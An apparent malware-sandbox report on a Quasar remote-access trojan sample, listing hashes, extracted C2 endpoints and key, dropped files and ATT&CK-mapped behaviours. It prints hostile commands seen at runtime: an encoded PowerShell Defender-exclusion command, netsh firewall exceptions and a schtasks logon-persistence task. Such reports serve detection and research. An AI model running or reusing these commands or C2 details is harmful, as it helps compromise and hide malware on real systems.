Analysis
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max time kernel
120s -
max time network
120s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
31-12-2024 14:14
Static task
static1
Behavioral task
behavioral1
Sample
d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe
Resource
win10v2004-20241007-en
General
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Target
d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe
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Size
3.2MB
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MD5
ee6463bd6ab5a0299ce45091cc84f703
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SHA1
4ba4d91c7db4d895f3cfbb684140a0463a472a5d
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SHA256
d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5
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SHA512
a440ee567a831193ce0e8001d08cdd5b46b6d94a19b64f7ceb7cb0037ccb99d3c5390d79686f9557800ab73789df4a2c75b72349b799de541c94ab27f6b53a5e
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SSDEEP
98304:ZtiwNlunVqirIBmG9Li2JWrV2yM0SlNevauUaO/tCI4:Zt9unlrIBT9LVJoV2yM0SlNevwCV
Malware Config
Extracted
quasar
1.4.1
Axotrojan
eu-central-7075.packetriot.net:22342
167.71.56.116:22342
34892381-1dda-4b06-87a2-3e413b932ac8
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encryption_key
4B13DC71783277444E966E1D66F9171ABFC15E88
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install_name
Clientformyslut.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
Axo startup
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subdirectory
SubDir
Signatures
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Quasar family
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Quasar payload 2 IoCs
resource yara_rule behavioral2/files/0x000a000000023b84-14.dat family_quasar behavioral2/memory/4384-23-0x0000000000D00000-0x0000000001024000-memory.dmp family_quasar -
Modifies Windows Firewall 2 TTPs 3 IoCs
pid Process 112 netsh.exe 1616 netsh.exe 1764 netsh.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation pkriot3.exe -
Drops startup file 6 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Explower.exe server.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Explower.exe server.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Corporation.exe server.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Corporation.exe server.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\24983f03fb74576bbc5af6aa1085b23dWindows Update.exe server.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\24983f03fb74576bbc5af6aa1085b23dWindows Update.exe server.exe -
Executes dropped EXE 4 IoCs
pid Process 1584 pkriot3.exe 4384 pkriot1.exe 2544 Clientformyslut.exe 1780 server.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\SubDir\Clientformyslut.exe pkriot1.exe File created C:\Windows\SysWOW64\Explower.exe server.exe File opened for modification C:\Windows\SysWOW64\Explower.exe server.exe File created C:\Windows\system32\SubDir\Clientformyslut.exe pkriot1.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files (x86)\Explower.exe server.exe File opened for modification C:\Program Files (x86)\Explower.exe server.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pkriot3.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language server.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2196 schtasks.exe 3948 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4020 powershell.exe 4020 powershell.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe 1780 server.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1780 server.exe -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeDebugPrivilege 4384 pkriot1.exe Token: SeDebugPrivilege 4020 powershell.exe Token: SeDebugPrivilege 2544 Clientformyslut.exe Token: SeDebugPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe Token: 33 1780 server.exe Token: SeIncBasePriorityPrivilege 1780 server.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2544 Clientformyslut.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 3644 wrote to memory of 4020 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 82 PID 3644 wrote to memory of 4020 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 82 PID 3644 wrote to memory of 4020 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 82 PID 3644 wrote to memory of 1584 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 84 PID 3644 wrote to memory of 1584 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 84 PID 3644 wrote to memory of 1584 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 84 PID 3644 wrote to memory of 4384 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 85 PID 3644 wrote to memory of 4384 3644 d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe 85 PID 4384 wrote to memory of 3948 4384 pkriot1.exe 86 PID 4384 wrote to memory of 3948 4384 pkriot1.exe 86 PID 4384 wrote to memory of 2544 4384 pkriot1.exe 88 PID 4384 wrote to memory of 2544 4384 pkriot1.exe 88 PID 1584 wrote to memory of 1780 1584 pkriot3.exe 89 PID 1584 wrote to memory of 1780 1584 pkriot3.exe 89 PID 1584 wrote to memory of 1780 1584 pkriot3.exe 89 PID 2544 wrote to memory of 2196 2544 Clientformyslut.exe 90 PID 2544 wrote to memory of 2196 2544 Clientformyslut.exe 90 PID 1780 wrote to memory of 112 1780 server.exe 92 PID 1780 wrote to memory of 112 1780 server.exe 92 PID 1780 wrote to memory of 112 1780 server.exe 92 PID 1780 wrote to memory of 1764 1780 server.exe 94 PID 1780 wrote to memory of 1764 1780 server.exe 94 PID 1780 wrote to memory of 1764 1780 server.exe 94 PID 1780 wrote to memory of 1616 1780 server.exe 95 PID 1780 wrote to memory of 1616 1780 server.exe 95 PID 1780 wrote to memory of 1616 1780 server.exe 95 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe"C:\Users\Admin\AppData\Local\Temp\d90fa1d7642354da268e0eadb417be46626fbe74e68364aa0a80a1ba08f017d5.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AdgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AcABiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAcQB1ACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4020
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C:\Users\Admin\AppData\Local\Temp\pkriot3.exe"C:\Users\Admin\AppData\Local\Temp\pkriot3.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Users\Admin\AppData\Local\Temp\server.exe"C:\Users\Admin\AppData\Local\Temp\server.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:112
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C:\Windows\SysWOW64\netsh.exenetsh firewall delete allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe"4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1764
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C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1616
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C:\Users\Admin\AppData\Local\Temp\pkriot1.exe"C:\Users\Admin\AppData\Local\Temp\pkriot1.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Axo startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Clientformyslut.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:3948
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C:\Windows\system32\SubDir\Clientformyslut.exe"C:\Windows\system32\SubDir\Clientformyslut.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2544 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Axo startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Clientformyslut.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
PID:2196
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Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3.1MB
MD59a3043abedc95a0a1c5d4fdb50e62d34
SHA12f432259c81f112905e24016191a1186e4fbdc88
SHA25618df830ce713c45edf04f76b23da7e5f1c57bcacd26b075ed94904da6bf94f74
SHA512fb7f692b1b035d732a175b40760baacc6f7ccfa88ca26da0f74eda2fb542a9e10c47c1309b60caf7169cb7a9035e8e2083ed5e5c2bc4292c9ef5e1c85ecf7c1c
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Filesize
93KB
MD555e2016fcb659bdf0f46a24ef2876609
SHA15afb69f26ddf1884372643a2b00d16a481fc7c26
SHA2563825fe6fd9e8754b3d4a374b8c73884647c6898d5e1220a0fe89b1a3dc8e35c4
SHA5124de0fb035b904bd2557d48aacfea53346748e0dbda86b710ee86796c374c37fd35e50f4d8b05cd1c058f95665894629f8848f4bce45378c00ced771baaea3e46
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Filesize
5B
MD5850ad04adc35f6ec7809f0f70de8300c
SHA106387beffabdf4ea012664a1d2693862a5e5a181
SHA25659f6eeca3c022531b409b0dc1ea7c1d244ecc7af5b67a5600470b59cdbc04abe
SHA512fca8d80dcdc3a14a04e5ae665dfae9c7b915d4b52b6a24b271d4ad67d9c72c2485815dcb097721d952458857eda8c0edac23f997486a3a1936693b1a5bb35532